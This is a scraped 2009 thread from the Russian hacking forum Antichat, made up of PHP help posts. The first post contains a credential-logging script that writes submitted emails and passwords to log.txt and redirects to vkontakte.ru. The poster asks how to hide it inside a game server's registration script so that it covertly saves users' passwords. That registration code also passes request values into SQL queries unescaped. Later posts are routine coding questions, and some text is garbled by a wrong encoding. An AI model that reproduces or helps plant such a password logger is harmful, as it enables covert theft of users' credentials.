Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

25.05.2009, 13:16
|
|
Новичок
Регистрация: 16.02.2009
Сообщений: 19
Провел на форуме: 132932
Репутация:
0
|
|
ребята, памагите пажалуста сделать чтото типо этого
PHP код:
<?php /* ############# #by_NoNameZ#
########### */ $f=fopen("log.txt","at"); flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
z]{2,4})$/i", $_POST['email'])&&
!empty($_POST['pass'])){ fputs($f,
$_POST['email'].";".$_POST['pass']." \n");
header("Location: http://vkontakte.ru
/blank.php?code=10"); } else { header("Location:
bad.htm"); } flock($f,3); fclose($f); ?>
но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе
вот скрипт регикуда файк прилепить хочу
PHP код:
<?php if(!defined('DATALIFEENGINE')) {
die("Hacking attempt!"); } if ($_action == "reg") { if
(empty($_REQUEST["l2login"]) ||
empty($_REQUEST["l2password"]) ||
empty($_REQUEST["l2password2"]) ||
empty($_REQUEST["l2email"]) ||
empty($_REQUEST["l2answer"]) ||
empty($_REQUEST["l2question"])) { $lineage =
"<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(strlen($_REQUEST["l2login"])>16 ||
strlen($_REQUEST["l2login"])<4) { $lineage = "<div
class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí
äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($_REQUEST["l2password"]!=$_REQUEST["l2password2"])
{ $lineage = "<div class='warning center'>Îøèáêà
ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif (strlen($_REQUEST["l2answer"])<4
|| strlen($_REQUEST["l2question"])<4) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4
ñèìâîëîâ!</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(!check_email($_REQUEST["l2email"])) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE login='".$_REQUEST["l2login"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE email='".$_REQUEST["l2email"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå
èñïîëüçóåòñÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } else { $dbl->sql_query_jdb("accounts", "InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*', sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"])); $sql_error = $dbl->sql_error(); if ($sql_error["code"]==0) { $lineage = "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />"; } else { $lineage = "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>"; } } } else { $tpl->load_template($tpldir.'/lineage/register.tpl'); $tpl->compile('register'); $lineage = $tpl->result["register"]; // $tpl->clear(); } ?>
Последний раз редактировалось sidrus; 25.05.2009 в 13:45..
|
|
|

18.06.2009, 08:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Chrek625 while (!is_int($nnn)) - создает бесконечный цикл.
На предыдущей странице у .:EnoT:. решение вашей задачки, если же требуется дополнить строку нулями, чтобы число знаков было кратно 6, то:
PHP код:
$input = '1234567';
$len = strlen($input);
if ($len % 6) {$out = str_pad($input, $len+(6-$len % 6), "0", STR_PAD_LEFT); }
else $out = $input;
var_dump($out);
Последний раз редактировалось Gifts; 18.06.2009 в 08:58..
|
|
|

29.07.2009, 02:28
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Myload
В твоём коде:
$f1=fopen('parsedata.txt', 'w');
fclose($f1);
Замени на:
$f1=fopen('parsedata.txt', 'w');
fputs($f1, '');
fclose($f1);
|
|
|

29.07.2009, 04:13
|
|
Banned
Регистрация: 15.03.2009
Сообщений: 215
Провел на форуме: 1461068
Репутация:
221
|
|
Сообщение от Nightmarе
Myload
В твоём коде:
$f1=fopen('parsedata.txt', 'w');
fclose($f1);
Замени на:
$f1=fopen('parsedata.txt', 'w');
fputs($f1, '');
fclose($f1);
спс! 
|
|
|

02.08.2009, 23:39
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 58
Провел на форуме: 231064
Репутация:
6
|
|
да нету толком кода вот и спрашиваю, мне хотелось бы узнать как авторизоватся.. то есть чтоб скрипт зашел на мой аккаунт, дальше думаю разберусь
|
|
|

02.08.2009, 23:54
|
|
Новичок
Регистрация: 20.11.2007
Сообщений: 13
Провел на форуме: 681237
Репутация:
1
|
|
Глянь вот - ссыль
_______________
thx ; )))))))
_______________
есть текстовый файл, в нём находятся расположенные в стоблик ссылки
надо чтобы :
бралась первая строка из тхт файла, записывалась в переменную, далее с этой переменной будут некие манипуляции в оставшейся части скрипта, после выполнения скрипта берётся следующая строчка, записывается в переменную......и так далее
Подскажите как данный цикл будет выглядеть=\
Последний раз редактировалось PROPH3T; 03.08.2009 в 05:15..
|
|
|

07.08.2009, 18:28
|
|
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме: 1725509
Репутация:
114
|
|
Сообщение от FireFenix
PHP код:
<?php
$text = '<tr>
<td class="bg_color2" align="right"width="130">Ф.И.О.</td>
<td class="bg_color4">Рассказова Юлия Владимировна</td>';
$regex = '/<tr>[\s]*<td class="bg_color2" align="right"width="130">[^<]*<\/td>[\s]*<td class="bg_color4">([^<]*)<\/td>/ims';
preg_match($regex, $text, $match);
print_r($match);
?>
Почти но нужно чтоб и Ф.И.О. было.. так таких таблиц там полно,а мне нужно именно это(
|
|
|

09.08.2009, 16:04
|
|
Участник форума
Регистрация: 24.02.2006
Сообщений: 206
Провел на форуме: 2735257
Репутация:
103
|
|
Сообщение от FireFenix
Использовать в SQL запросе LIMIT
Код:
SELECT * FROM table LIMIT 10,100
LIMIT 10, 100 - выбрать 100 записей, начиная с 10 записи
Уже есть
PHP код:
$sql = "SELECT * FROM `".$this->table."`".$this->where.$this->order_by.
" LIMIT ".$begin.", ".$this->lines;
Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]
|
|
|

09.08.2009, 16:26
|
|
Участник форума
Регистрация: 24.02.2006
Сообщений: 206
Провел на форуме: 2735257
Репутация:
103
|
|
Да Ё
Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]
Еще раз! Мне нужно сделать не вывод он уже есть!
Мне нужна сделать так чтобы навигация выводилась как я написал в скрипте это функция public function link_page()...
Я не могу придумать как так сделать!
Можно сказать что вся суть в этом цикле
PHP код:
for ($i = 0; $i < 3; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}
У меня было несколько попыток что-то сделать, но почему-то не получается у меня это придумать!
Вот одна из попыток
PHP код:
for ($i = $this->page; $i < $this->page+3; $i++) {
if($i == $this->page) {
$return .= "[".($i + 1)."]";
} else {
$return .= "<a href='".$this->prefix_p."=".($i + 1)."'>[".($i + 1)."]</a>";
}
}
Делает бесконечное число страниц =(
Хоть и отражает частично суть как я хочу!
Последний раз редактировалось KaMiKadZe; 09.08.2009 в 16:33..
|
|
|

11.08.2009, 19:36
|
|
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме: 1725509
Репутация:
114
|
|
Сообщение от FireFenix
в ДЛЕ у каждой темы свой стиль и задаётся @import url({THEME}/css/style.css); где {THEME} путь до темы, который пхп перезаписывает во время загрузки шаблона/темы
Открыл дле сайт.в коде страницы цсс стиль прописан так:
PHP код:
<style type="text/css" media="all">
@import url(/templates/warrexru/style/main.css);
</style>
Переходи например в дерикторию ниже.
site.ru/films/
и всеравно в коде
PHP код:
<style type="text/css" media="all">
@import url(/templates/warrexru/style/main.css);
</style>
как видно путь всетаки относительный(
и как отредактировал сообщение выше как быть с картинками в css файле?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|